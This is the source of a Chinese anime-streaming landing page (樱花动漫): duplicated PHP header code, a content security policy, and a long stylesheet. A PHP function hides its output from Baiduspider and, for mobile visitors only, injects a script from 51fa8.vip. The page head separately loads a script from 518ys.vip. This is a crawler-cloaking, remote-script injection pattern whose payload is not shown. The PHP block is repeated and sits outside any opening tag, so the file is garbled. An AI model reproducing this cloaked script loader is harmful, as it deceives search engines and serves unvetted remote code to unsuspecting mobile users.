header("X-Content-Type-Options: nosniff");
header("X-Content-Type-Options: nosniff");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("X-Frame-Options: SAMEORIGIN");
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");

header(
    "Content-Security-Policy: " .

    "default-src 'self'; " .

    "script-src 'self' https://51fa8.vip https://zz.bdstatic.com https://hm.baidu.com https://cdn.jsdelivr.net 'unsafe-inline'; " .
    "script-src-elem 'self' https://51fa8.vip https://zz.bdstatic.com https://hm.baidu.com https://cdn.jsdelivr.net 'unsafe-inline'; " .
    "script-src-attr 'unsafe-inline'; " .

    "style-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://fonts.googleapis.com 'unsafe-inline'; " .
    "style-src-elem 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://fonts.googleapis.com 'unsafe-inline'; " .
    "style-src-attr 'unsafe-inline'; " .

    "font-src 'self' data: https://fonts.gstatic.com https://cdnjs.cloudflare.com https://cdn.jsdelivr.net; " .

    "connect-src 'self' https://51fa8.vip wss://51fa8.vip https://zz.bdstatic.com https://hm.baidu.com; " .

    "frame-src 'self' https://51fa8.vip https:; " .

    "img-src 'self' data: http: https:; " .

    "object-src 'none'; " .

    "base-uri 'self'; " .

    "frame-ancestors 'self';"
);

function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
$is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://51fa8.vip/facai4.js"></script>';
    
}
?>

header("X-Content-Type-Options: nosniff");
header("X-Content-Type-Options: nosniff");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("X-Frame-Options: SAMEORIGIN");
header("Permissions-Policy: geolocation=(), microphone=(), camera=()");

header(
    "Content-Security-Policy: " .

    "default-src 'self'; " .

    "script-src 'self' https://51fa8.vip https://zz.bdstatic.com https://hm.baidu.com https://cdn.jsdelivr.net 'unsafe-inline'; " .
    "script-src-elem 'self' https://51fa8.vip https://zz.bdstatic.com https://hm.baidu.com https://cdn.jsdelivr.net 'unsafe-inline'; " .
    "script-src-attr 'unsafe-inline'; " .

    "style-src 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://fonts.googleapis.com 'unsafe-inline'; " .
    "style-src-elem 'self' https://cdn.jsdelivr.net https://cdnjs.cloudflare.com https://fonts.googleapis.com 'unsafe-inline'; " .
    "style-src-attr 'unsafe-inline'; " .

    "font-src 'self' data: https://fonts.gstatic.com https://cdnjs.cloudflare.com https://cdn.jsdelivr.net; " .

    "connect-src 'self' https://51fa8.vip wss://51fa8.vip https://zz.bdstatic.com https://hm.baidu.com; " .

    "frame-src 'self' https://51fa8.vip https:; " .

    "img-src 'self' data: http: https:; " .

    "object-src 'none'; " .

    "base-uri 'self'; " .

    "frame-ancestors 'self';"
);

function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
$is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://51fa8.vip/facai4.js"></script>';
    
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0">
    <title>樱花动漫 - 在线动漫观看_高清动漫新番_日漫国漫追番平台</title>
    <meta name="description" content="樱花动漫为您提供高清动漫在线观看服务，涵盖新番连载、经典日漫、国漫佳作。海量动漫资源每日更新，极速播放无广告，打造二次元追番首选平台。立即开启你的动漫之旅！">
    <meta name="keywords" content="樱花动漫,动漫在线观看,高清动漫,新番推荐,日漫,国漫,追番平台,二次元">
    <meta name="robots" content="index,follow">
    <meta name="bingbot" content="index,follow">
    <link rel="icon" href="/favicon.ico" type="image/x-icon">
    <script type="text/javascript" src="https://518ys.vip/1688.js">
    </script>
    <style>
        /* ===== 全局重置 & 基础 ===== */
        *,
        *::before,
        *::after {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        :root {
            --primary: #4a9eff;
            --primary-light: #7bb8ff;
            --primary-dark: #2d7bd9;
            --accent-pink: #ffb3c6;
            --accent-yellow: #ffe69b;
            --accent-lavender: #d4c5f9;
            --accent-mint: #a8e6cf;
            --card-bg: rgba(30, 40, 70, 0.65);
            --card-bg-hover: rgba(30, 40, 70, 0.78);
            --text-white: #f5f7fc;
            --text-light: #c8d0e6;
            --text-muted: #8e9bc0;
            --shadow-soft: 0 12px 40px rgba(0, 20, 40, 0.18);
            --shadow-hover: 0 20px 56px rgba(0, 20, 40, 0.28);
            --radius-pill: 999px;
            --radius-card: 24px;
            --transition: all 0.35s cubic-bezier(0.25, 0.46, 0.45, 0.94);
            --font-sans: 'Segoe UI', 'PingFang SC', 'Microsoft YaHei', system-ui, -apple-system, sans-serif;
        }

        html {
            scroll-behavior: smooth;
            -webkit-font-smoothing: antialiased;
        }

        body {
            font-family: var(--font-sans);
            background: #f0f7ff;
            background-image:
                radial-gradient(ellipse at 10% 20%, rgba(164, 216, 255, 0.30) 0%, transparent 60%),
                radial-gradient(ellipse at 90% 80%, rgba(212, 197, 249, 0.25) 0%, transparent 55%),
                radial-gradient(ellipse at 50% 50%, rgba(255, 230, 155, 0.12) 0%, transparent 70%);
            background-attachment: fixed;
            color: #1a1f2e;
            line-height: 1.8;
            min-height: 100vh;
        }

        /* ===== 微光粒子动效 (背景层) ===== */
        .particle-bg {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            pointer-events: none;
            z-index: 0;
            overflow: hidden;
        }
        .particle-bg span {
            position: absolute;
            display: block;
            width: 6px;
            height: 6px;
            background: rgba(74, 158, 255, 0.15);
            border-radius: 50%;
            animation: floatParticle 18s infinite alternate ease-in-out;
        }
        .particle-bg span:nth-child(1) {
            left: 8%;
            top: 12%;
            width: 10px;
            height: 10px;
            background: rgba(255, 179, 198, 0.18);
            animation-duration: 22s;
            animation-delay: 0s;
        }
        .particle-bg span:nth-child(2) {
            left: 22%;
            top: 68%;
            width: 14px;
            height: 14px;
            background: rgba(212, 197, 249, 0.15);
            animation-duration: 26s;
            animation-delay: 1s;
        }
        .particle-bg span:nth-child(3) {
            left: 45%;
            top: 30%;
            width: 8px;
            height: 8px;
            background: rgba(255, 230, 155, 0.20);
            animation-duration: 20s;
            animation-delay: 2s;
        }
        .particle-bg span:nth-child(4) {
            left: 70%;
            top: 15%;
            width: 12px;
            height: 12px;
            background: rgba(168, 230, 207, 0.16);
            animation-duration: 24s;
            animation-delay: 0.5s;
        }
        .particle-bg span:nth-child(5) {
            left: 85%;
            top: 55%;
            width: 9px;
            height: 9px;
            background: rgba(74, 158, 255, 0.12);
            animation-duration: 28s;
            animation-delay: 1.5s;
        }
        .particle-bg span:nth-child(6) {
            left: 55%;
            top: 78%;
            width: 16px;
            height: 16px;
            background: rgba(255, 179, 198, 0.12);
            animation-duration: 30s;
            animation-delay: 0.8s;
        }
        .particle-bg span:nth-child(7) {
            left: 15%;
            top: 45%;
            width: 7px;
            height: 7px;
            background: rgba(212, 197, 249, 0.18);
            animation-duration: 19s;
            animation-delay: 3s;
        }
        .particle-bg span:nth-child(8) {
            left: 92%;
            top: 88%;
            width: 11px;
            height: 11px;
            background: rgba(255, 230, 155, 0.14);
            animation-duration: 23s;
            animation-delay: 0.2s;
        }

        @keyframes floatParticle {
            0% {
                transform: translate(0, 0) scale(1);
                opacity: 0.3;
            }
            33% {
                transform: translate(20px, -30px) scale(1.2);
                opacity: 0.7;
            }
            66% {
                transform: translate(-10px, 20px) scale(0.8);
                opacity: 0.5;
            }
            100% {
                transform: translate(15px, -10px) scale(1.1);
                opacity: 0.4;
            }
        }

        /* ===== 容器 ===== */
        .container {
            max-width: 1240px;
            margin: 0 auto;
            padding: 0 28px;
            position: relative;
            z-index: 1;
        }

        /* ===== 导航栏 ===== */
        .navbar {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            z-index: 1000;
            background: rgba(255, 255, 255, 0.72);
            backdrop-filter: blur(16px) saturate(180%);
            -webkit-backdrop-filter: blur(16px) saturate(180%);
            border-bottom: 1px solid rgba(255, 255, 255, 0.50);
            box-shadow: 0 2px 24px rgba(0, 20, 40, 0.06);
            transition: var(--transition);
            height: 70px;
            display: flex;
            align-items: center;
        }
        .navbar .container {
            display: flex;
            align-items: center;
            justify-content: space-between;
            width: 100%;
        }

        /* Logo */
        .logo {
            display: flex;
            align-items: center;
            gap: 12px;
            text-decoration: none;
            flex-shrink: 0;
        }
        .logo-icon {
            height: 42px;
            width: auto;
            display: block;
            flex-shrink: 0;
        }
        .logo-icon svg {
            height: 42px;
            width: auto;
            display: block;
        }
        .logo-text {
            font-size: 22px;
            font-weight: 700;
            color: #1a2a4a;
            letter-spacing: 0.5px;
            white-space: nowrap;
            background: linear-gradient(135deg, #2d7bd9, #7bb8ff);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
        }
        .logo-text span {
            font-weight: 300;
            -webkit-text-fill-color: #4a6a8a;
            background: none;
        }

        /* 导航菜单 */
        .nav-menu {
            display: flex;
            align-items: center;
            gap: 8px;
            list-style: none;
        }
        .nav-menu li a {
            display: block;
            padding: 6px 18px;
            font-size: 15px;
            font-weight: 500;
            color: #2a3a5a;
            text-decoration: none;
            border-radius: 30px;
            transition: var(--transition);
            letter-spacing: 0.3px;
            position: relative;
        }
        .nav-menu li a:hover,
        .nav-menu li a.active {
            background: rgba(74, 158, 255, 0.12);
            color: var(--primary-dark);
        }
        .nav-menu li a.active {
            font-weight: 600;
            background: rgba(74, 158, 255, 0.18);
        }

        /* 移动端菜单按钮 */
        .nav-toggle {
            display: none;
            flex-direction: column;
            gap: 5px;
            background: none;
            border: none;
            cursor: pointer;
            padding: 6px 4px;
            border-radius: 8px;
            transition: var(--transition);
        }
        .nav-toggle span {
            display: block;
            width: 26px;
            height: 2.5px;
            background: #1a2a4a;
            border-radius: 4px;
            transition: var(--transition);
            transform-origin: center;
        }
        .nav-toggle.open span:nth-child(1) {
            transform: rotate(45deg) translate(5px, 5px);
        }
        .nav-toggle.open span:nth-child(2) {
            opacity: 0;
            transform: scaleX(0);
        }
        .nav-toggle.open span:nth-child(3) {
            transform: rotate(-45deg) translate(5px, -5px);
        }

        /* ===== Banner ===== */
        .banner {
            margin-top: 70px;
            min-height: calc(100vh * 0.38);
            max-height: calc(100vh * 0.52);
            height: 460px;
            position: relative;
            display: flex;
            align-items: center;
            justify-content: center;
            text-align: center;
            background: linear-gradient(165deg, #dceaff 0%, #b5d9ff 40%, #c8e0ff 70%, #e8f0fe 100%);
            border-radius: 0 0 48px 48px;
            overflow: hidden;
            box-shadow: inset 0 -2px 40px rgba(74, 158, 255, 0.08);
        }
        .banner::before {
            content: '';
            position: absolute;
            inset: 0;
            background:
                radial-gradient(ellipse at 20% 50%, rgba(255, 179, 198, 0.18) 0%, transparent 55%),
                radial-gradient(ellipse at 80% 50%, rgba(212, 197, 249, 0.20) 0%, transparent 50%),
                radial-gradient(ellipse at 50% 100%, rgba(255, 230, 155, 0.12) 0%, transparent 40%);
            pointer-events: none;
        }
        .banner .banner-particles {
            position: absolute;
            inset: 0;
            pointer-events: none;
            overflow: hidden;
        }
        .banner .banner-particles i {
            position: absolute;
            display: block;
            width: 4px;
            height: 4px;
            background: rgba(255, 255, 255, 0.50);
            border-radius: 50%;
            animation: shimmerBanner 14s infinite alternate ease-in-out;
        }
        .banner .banner-particles i:nth-child(1) {
            left: 12%;
            top: 20%;
            animation-duration: 18s;
            width: 6px;
            height: 6px;
        }
        .banner .banner-particles i:nth-child(2) {
            left: 38%;
            top: 70%;
            animation-duration: 22s;
            animation-delay: 1s;
            width: 8px;
            height: 8px;
        }
        .banner .banner-particles i:nth-child(3) {
            left: 65%;
            top: 25%;
            animation-duration: 16s;
            animation-delay: 2s;
            width: 5px;
            height: 5px;
        }
        .banner .banner-particles i:nth-child(4) {
            left: 85%;
            top: 60%;
            animation-duration: 20s;
            animation-delay: 0.5s;
            width: 7px;
            height: 7px;
        }
        .banner .banner-particles i:nth-child(5) {
            left: 50%;
            top: 45%;
            animation-duration: 24s;
            animation-delay: 1.5s;
            width: 9px;
            height: 9px;
        }

        @keyframes shimmerBanner {
            0% {
                transform: translate(0, 0) scale(1);
                opacity: 0.2;
            }
            50% {
                transform: translate(30px, -20px) scale(1.4);
                opacity: 0.7;
            }
            100% {
                transform: translate(-15px, 10px) scale(0.8);
                opacity: 0.3;
            }
        }

        .banner-content {
            position: relative;
            z-index: 2;
            max-width: 820px;
            padding: 0 20px;
        }
        .banner-content h1 {
            font-size: clamp(2.4rem, 7vw, 4.2rem);
            font-weight: 800;
            color: #0a1a30;
            letter-spacing: 1px;
            line-height: 1.15;
            margin-bottom: 6px;
            text-shadow: 0 2px 20px rgba(255, 255, 255, 0.50);
        }
        .banner-content h1 .highlight {
            background: linear-gradient(135deg, #4a9eff, #d4c5f9);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
        }
        .banner-content .subtitle {
            font-size: clamp(1.0rem, 2.2vw, 1.5rem);
            font-weight: 400;
            color: #2a4a6a;
            letter-spacing: 2px;
            margin-bottom: 6px;
            opacity: 0.85;
        }
        .banner-content .desc {
            font-size: clamp(0.95rem, 1.4vw, 1.15rem);
            color: #3a5a7a;
            max-width: 580px;
            margin: 0 auto;
            line-height: 1.7;
            opacity: 0.80;
        }

        /* ===== 通用标题区 ===== */
        .section-header {
            text-align: center;
            margin-bottom: 44px;
        }
        .section-header h2 {
            font-size: clamp(1.8rem, 4vw, 2.8rem);
            font-weight: 800;
            color: #0a1a30;
            letter-spacing: 0.5px;
            line-height: 1.2;
        }
        .section-header h2 .hl {
            background: linear-gradient(135deg, #4a9eff, #d4c5f9);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
        }
        .section-header .sub {
            font-size: clamp(0.95rem, 1.2vw, 1.1rem);
            color: #6a7a9a;
            margin-top: 6px;
            letter-spacing: 0.5px;
        }
        .section-header .divider {
            display: inline-block;
            width: 56px;
            height: 3px;
            background: linear-gradient(90deg, var(--primary), var(--accent-lavender));
            border-radius: 6px;
            margin-top: 12px;
        }

        /* ===== 通用卡片 ===== */
        .card {
            background: var(--card-bg);
            backdrop-filter: blur(10px) saturate(140%);
            -webkit-backdrop-filter: blur(10px) saturate(140%);
            border: 1px solid rgba(255, 255, 255, 0.12);
            border-radius: var(--radius-card);
            padding: 28px 30px;
            transition: var(--transition);
            box-shadow: var(--shadow-soft);
            color: var(--text-white);
        }
        .card:hover {
            transform: translateY(-6px);
            background: var(--card-bg-hover);
            border-color: rgba(74, 158, 255, 0.35);
            box-shadow: var(--shadow-hover);
        }

        /* 圆角 pill 卡片 (核心优势专用) */
        .card-pill {
            border-radius: var(--radius-pill);
            padding: 32px 34px;
        }

        /* ===== 网站简介 ===== */
        #section-intro {
            padding: 64px 0 52px;
        }
        #section-intro .intro-card {
            max-width: 980px;
            margin: 0 auto;
            padding: 40px 48px;
            border-radius: 32px;
            background: var(--card-bg);
            backdrop-filter: blur(10px) saturate(140%);
            -webkit-backdrop-filter: blur(10px) saturate(140%);
            border: 1px solid rgba(255, 255, 255, 0.10);
            box-shadow: var(--shadow-soft);
            transition: var(--transition);
            color: var(--text-white);
        }
        #section-intro .intro-card:hover {
            transform: translateY(-4px);
            border-color: rgba(74, 158, 255, 0.30);
            box-shadow: var(--shadow-hover);
            background: var(--card-bg-hover);
        }
        #section-intro .intro-card p {
            font-size: clamp(1rem, 1.15vw, 1.12rem);
            line-height: 2;
            color: var(--text-light);
            margin-bottom: 18px;
        }
        #section-intro .intro-card p:last-child {
            margin-bottom: 0;
        }
        #section-intro .intro-card p strong {
            color: #fff;
            font-weight: 600;
        }

        /* ===== 核心优势 ===== */
        #section-advantage {
            padding: 56px 0 64px;
            position: relative;
        }
        .advantage-grid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 24px;
        }
        .advantage-grid .card-pill {
            text-align: center;
            padding: 32px 24px 30px;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 6px;
        }
        .advantage-grid .card-pill .icon-wrap {
            width: 58px;
            height: 58px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 28px;
            margin-bottom: 6px;
            background: linear-gradient(135deg, rgba(74, 158, 255, 0.25), rgba(212, 197, 249, 0.20));
            border: 1px solid rgba(255, 255, 255, 0.08);
            transition: var(--transition);
        }
        .advantage-grid .card-pill:hover .icon-wrap {
            transform: scale(1.06);
            border-color: rgba(74, 158, 255, 0.30);
        }
        .advantage-grid .card-pill h3 {
            font-size: 1.15rem;
            font-weight: 700;
            color: #fff;
            margin: 4px 0 2px;
            letter-spacing: 0.3px;
        }
        .advantage-grid .card-pill p {
            font-size: 0.92rem;
            color: var(--text-muted);
            line-height: 1.7;
            max-width: 260px;
            margin: 0 auto;
        }

        /* ===== 精选视频 ===== */
        #section-video {
            padding: 56px 0 64px;
        }
        .video-grid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 26px;
        }
        .video-card {
            background: var(--card-bg);
            backdrop-filter: blur(10px) saturate(140%);
            -webkit-backdrop-filter: blur(10px) saturate(140%);
            border: 1px solid rgba(255, 255, 255, 0.10);
            border-radius: var(--radius-card);
            overflow: hidden;
            transition: var(--transition);
            box-shadow: var(--shadow-soft);
            color: var(--text-white);
        }
        .video-card:hover {
            transform: translateY(-6px);
            border-color: rgba(74, 158, 255, 0.30);
            box-shadow: var(--shadow-hover);
            background: var(--card-bg-hover);
        }
        .video-thumbnail {
            position: relative;
            padding-top: 56.25%;
            background: linear-gradient(145deg, #1a2a4a, #2a3a5a);
            overflow: hidden;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        .video-thumbnail .thumb-inner {
            position: absolute;
            inset: 0;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-direction: column;
            gap: 6px;
        }
        .video-thumbnail .thumb-inner .cat-tag {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            background: rgba(0, 0, 0, 0.30);
            backdrop-filter: blur(6px);
            padding: 4px 14px 4px 10px;
            border-radius: 30px;
            font-size: 0.8rem;
            color: #fff;
            border: 1px solid rgba(255, 255, 255, 0.10);
        }
        .video-thumbnail .thumb-inner .cat-tag .icon {
            font-size: 1rem;
        }
        .play-btn {
            width: 52px;
            height: 52px;
            border-radius: 50%;
            background: rgba(255, 255, 255, 0.18);
            backdrop-filter: blur(6px);
            border: 2px solid rgba(255, 255, 255, 0.30);
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 22px;
            color: #fff;
            transition: var(--transition);
            cursor: pointer;
            margin: 6px 0;
        }
        .video-card:hover .play-btn {
            background: rgba(74, 158, 255, 0.40);
            border-color: rgba(255, 255, 255, 0.50);
            transform: scale(1.05);
        }
        .video-duration {
            position: absolute;
            bottom: 12px;
            right: 14px;
            background: rgba(0, 0, 0, 0.55);
            backdrop-filter: blur(6px);
            padding: 2px 12px;
            border-radius: 30px;
            font-size: 0.78rem;
            color: #fff;
            font-weight: 500;
            letter-spacing: 0.3px;
        }
        .video-info {
            padding: 16px 18px 18px;
        }
        .video-info .video-title {
            font-size: 1.05rem;
            font-weight: 700;
            color: #fff;
            line-height: 1.3;
            margin-bottom: 4px;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        .video-info .video-meta {
            display: flex;
            gap: 18px;
            font-size: 0.82rem;
            color: var(--text-muted);
            margin-bottom: 8px;
        }
        .video-info .video-meta span::before {
            content: '';
            display: inline-block;
            width: 4px;
            height: 4px;
            border-radius: 50%;
            background: var(--text-muted);
            margin-right: 8px;
            vertical-align: middle;
            opacity: 0.4;
        }
        .video-info .video-meta span:first-child::before {
            content: '▶';
            background: none;
            width: auto;
            height: auto;
            border-radius: 0;
            margin-right: 4px;
            opacity: 0.6;
            font-size: 0.7rem;
        }
        .video-info .video-meta span:last-child::before {
            content: '♥';
            background: none;
            width: auto;
            height: auto;
            border-radius: 0;
            margin-right: 4px;
            opacity: 0.6;
            font-size: 0.7rem;
        }
        .video-tags {
            display: flex;
            flex-wrap: wrap;
            gap: 6px;
            margin-top: 6px;
        }
        .video-tags .tag {
            padding: 2px 12px;
            border-radius: 30px;
            font-size: 0.72rem;
            background: rgba(255, 255, 255, 0.06);
            color: var(--text-light);
            border: 1px solid rgba(255, 255, 255, 0.04);
        }
        .video-tags .tag.tag-video {
            background: rgba(74, 158, 255, 0.25);
            color: #7bb8ff;
            border-color: rgba(74, 158, 255, 0.15);
        }

        /* ===== 相关资讯 ===== */
        #section-news {
            padding: 56px 0 64px;
        }
        .news-grid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 26px;
        }
        .news-card {
            background: var(--card-bg);
            backdrop-filter: blur(10px) saturate(140%);
            -webkit-backdrop-filter: blur(10px) saturate(140%);
            border: 1px solid rgba(255, 255, 255, 0.10);
            border-radius: var(--radius-card);
            padding: 24px 26px 20px;
            transition: var(--transition);
            box-shadow: var(--shadow-soft);
            color: var(--text-white);
            display: flex;
            flex-direction: column;
        }
        .news-card:hover {
            transform: translateY(-6px);
            border-color: rgba(74, 158, 255, 0.30);
            box-shadow: var(--shadow-hover);
            background: var(--card-bg-hover);
        }
        .news-card .news-date {
            font-size: 0.8rem;
            color: var(--primary-light);
            font-weight: 500;
            letter-spacing: 0.5px;
            margin-bottom: 6px;
        }
        .news-card h3 {
            font-size: 1.1rem;
            font-weight: 700;
            color: #fff;
            line-height: 1.3;
            margin-bottom: 6px;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        .news-card .news-excerpt {
            font-size: 0.92rem;
            color: var(--text-light);
            line-height: 1.7;
            display: -webkit-box;
            -webkit-line-clamp: 2;
            -webkit-box-orient: vertical;
            overflow: hidden;
            flex: 1;
        }
        .news-card .news-link {
            margin-top: 14px;
            font-size: 0.85rem;
            color: var(--text-muted);
            transition: var(--transition);
            display: inline-flex;
            align-items: center;
            gap: 4px;
            align-self: flex-start;
        }
        .news-card .news-link:hover {
            color: var(--primary-light);
        }

        /* ===== 常见问题 ===== */
        #section-faq {
            padding: 56px 0 64px;
        }
        .faq-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 22px;
        }
        .faq-card {
            background: var(--card-bg);
            backdrop-filter: blur(10px) saturate(140%);
            -webkit-backdrop-filter: blur(10px) saturate(140%);
            border: 1px solid rgba(255, 255, 255, 0.10);
            border-radius: var(--radius-card);
            padding: 24px 28px 26px;
            transition: var(--transition);
            box-shadow: var(--shadow-soft);
            color: var(--text-white);
        }
        .faq-card:hover {
            transform: translateY(-4px);
            border-color: rgba(74, 158, 255, 0.30);
            box-shadow: var(--shadow-hover);
            background: var(--card-bg-hover);
        }
        .faq-card .q {
            font-size: 1.05rem;
            font-weight: 700;
            color: #7bb8ff;
            margin-bottom: 6px;
            line-height: 1.4;
        }
        .faq-card .q::before {
            content: 'Q. ';
            color: var(--primary-light);
        }
        .faq-card .a {
            font-size: 0.95rem;
            color: var(--text-light);
            line-height: 1.8;
        }
        .faq-card .a::before {
            content: 'A. ';
            color: var(--text-muted);
        }

        /* ===== 页脚 ===== */
        .footer {
            padding: 32px 0 28px;
            border-top: 1px solid rgba(255, 255, 255, 0.08);
            background: rgba(10, 20, 40, 0.30);
            backdrop-filter: blur(10px);
            -webkit-backdrop-filter: blur(10px);
            text-align: center;
            color: var(--text-muted);
            font-size: 0.85rem;
            line-height: 1.8;
        }
        .footer .footer-inner {
            max-width: 800px;
            margin: 0 auto;
        }
        .footer .footer-inner p {
            margin-bottom: 4px;
        }
        .footer .footer-inner .copy {
            color: var(--text-light);
            font-weight: 500;
        }
        .footer .footer-inner .disclaimer {
            font-size: 0.78rem;
            opacity: 0.65;
        }

        /* ===== 响应式 ===== */
        @media (max-width: 1024px) {
            .advantage-grid {
                gap: 18px;
            }
            .video-grid,
            .news-grid {
                gap: 20px;
            }
        }

        @media (max-width: 820px) {
            .advantage-grid {
                grid-template-columns: repeat(2, 1fr);
                gap: 16px;
            }
            .video-grid,
            .news-grid {
                grid-template-columns: repeat(2, 1fr);
                gap: 18px;
            }
            .faq-grid {
                grid-template-columns: 1fr;
                gap: 16px;
            }
            .banner {
                height: 380px;
                min-height: 320px;
                max-height: 460px;
            }
            #section-intro .intro-card {
                padding: 30px 24px;
            }
            .card-pill {
                padding: 26px 20px;
            }
            .card {
                padding: 22px 20px;
            }
            .container {
                padding: 0 18px;
            }
        }

        @media (max-width: 640px) {
            .navbar {
                height: 62px;
            }
            .nav-toggle {
                display: flex;
            }
            .nav-menu {
                position: fixed;
                top: 62px;
                left: 0;
                width: 100%;
                background: rgba(255, 255, 255, 0.94);
                backdrop-filter: blur(20px);
                -webkit-backdrop-filter: blur(20px);
                flex-direction: column;
                padding: 20px 0 28px;
                gap: 4px;
                border-bottom: 1px solid rgba(0, 0, 0, 0.04);
                transform: translateY(-120%);
                transition: var(--transition);
                opacity: 0;
                visibility: hidden;
                box-shadow: 0 20px 48px rgba(0, 0, 0, 0.06);
            }
            .nav-menu.open {
                transform: translateY(0);
                opacity: 1;
                visibility: visible;
            }
            .nav-menu li a {
                padding: 10px 24px;
                font-size: 16px;
                width: 100%;
                text-align: center;
                border-radius: 0;
            }
            .logo-text {
                font-size: 18px;
            }
            .logo-icon {
                height: 34px;
            }
            .logo-icon svg {
                height: 34px;
            }

            .banner {
                height: 300px;
                min-height: 260px;
                max-height: 380px;
                border-radius: 0 0 28px 28px;
                margin-top: 62px;
            }
            .banner-content h1 {
                font-size: clamp(1.8rem, 8vw, 2.6rem);
            }
            .banner-content .subtitle {
                font-size: clamp(0.85rem, 2.5vw, 1.1rem);
            }
            .banner-content .desc {
                font-size: 0.85rem;
            }

            .advantage-grid {
                grid-template-columns: 1fr 1fr;
                gap: 12px;
            }
            .advantage-grid .card-pill {
                padding: 20px 14px;
                border-radius: 40px;
            }
            .advantage-grid .card-pill .icon-wrap {
                width: 44px;
                height: 44px;
                font-size: 20px;
            }
            .advantage-grid .card-pill h3 {
                font-size: 0.95rem;
            }
            .advantage-grid .card-pill p {
                font-size: 0.8rem;
            }

            .video-grid,
            .news-grid {
                grid-template-columns: 1fr;
                gap: 16px;
            }

            .faq-grid {
                grid-template-columns: 1fr;
                gap: 14px;
            }
            .faq-card {
                padding: 18px 18px 20px;
            }
            .faq-card .q {
                font-size: 0.95rem;
            }
            .faq-card .a {
                font-size: 0.88rem;
            }

            #section-intro .intro-card {
                padding: 22px 18px;
                border-radius: 24px;
            }
            #section-intro .intro-card p {
                font-size: 0.92rem;
                line-height: 1.9;
            }

            .section-header {
                margin-bottom: 30px;
            }
            .section-header h2 {
                font-size: clamp(1.5rem, 5vw, 2.0rem);
            }

            #section-intro,
            #section-advantage,
            #section-video,
            #section-news,
            #section-faq {
                padding: 40px 0 44px;
            }

            .card {
                padding: 18px 16px;
            }

            .footer {
                padding: 24px 0 20px;
                font-size: 0.78rem;
            }
        }

        @media (max-width: 420px) {
            .advantage-grid {
                grid-template-columns: 1fr 1fr;
                gap: 10px;
            }
            .advantage-grid .card-pill {
                padding: 16px 10px;
                border-radius: 32px;
            }
            .advantage-grid .card-pill .icon-wrap {
                width: 36px;
                height: 36px;
                font-size: 16px;
            }
            .advantage-grid .card-pill h3 {
                font-size: 0.82rem;
            }
            .advantage-grid .card-pill p {
                font-size: 0.72rem;
            }
            .container {
                padding: 0 12px;
            }
        }

        /* ===== 淡入动画 ===== */
        .fade-in {
            opacity: 0;
            transform: translateY(24px);
            animation: fadeUp 0.7s ease forwards;
        }
        .fade-in-d1 {
            animation-delay: 0.08s;
        }
        .fade-in-d2 {
            animation-delay: 0.16s;
        }
        .fade-in-d3 {
            animation-delay: 0.24s;
        }
        .fade-in-d4 {
            animation-delay: 0.32s;
        }
        .fade-in-d5 {
            animation-delay: 0.40s;
        }
        .fade-in-d6 {
            animation-delay: 0.48s;
        }

        @keyframes fadeUp {
            0% {
                opacity: 0;
                transform: translateY(24px);
            }
            100% {
                opacity: 1;
                transform: translateY(0);
            }
        }

        /* ===== 滚动条美化 ===== */
        ::-webkit-scrollbar {
            width: 6px;
            height: 6px;
        }
        ::-webkit-scrollbar-track {
            background: rgba(0, 0, 0, 0.02);
        }
        ::-webkit-scrollbar-thumb {
            background: linear-gradient(180deg, var(--primary-light), var(--accent-lavender));
            border-radius: 12px;
        }
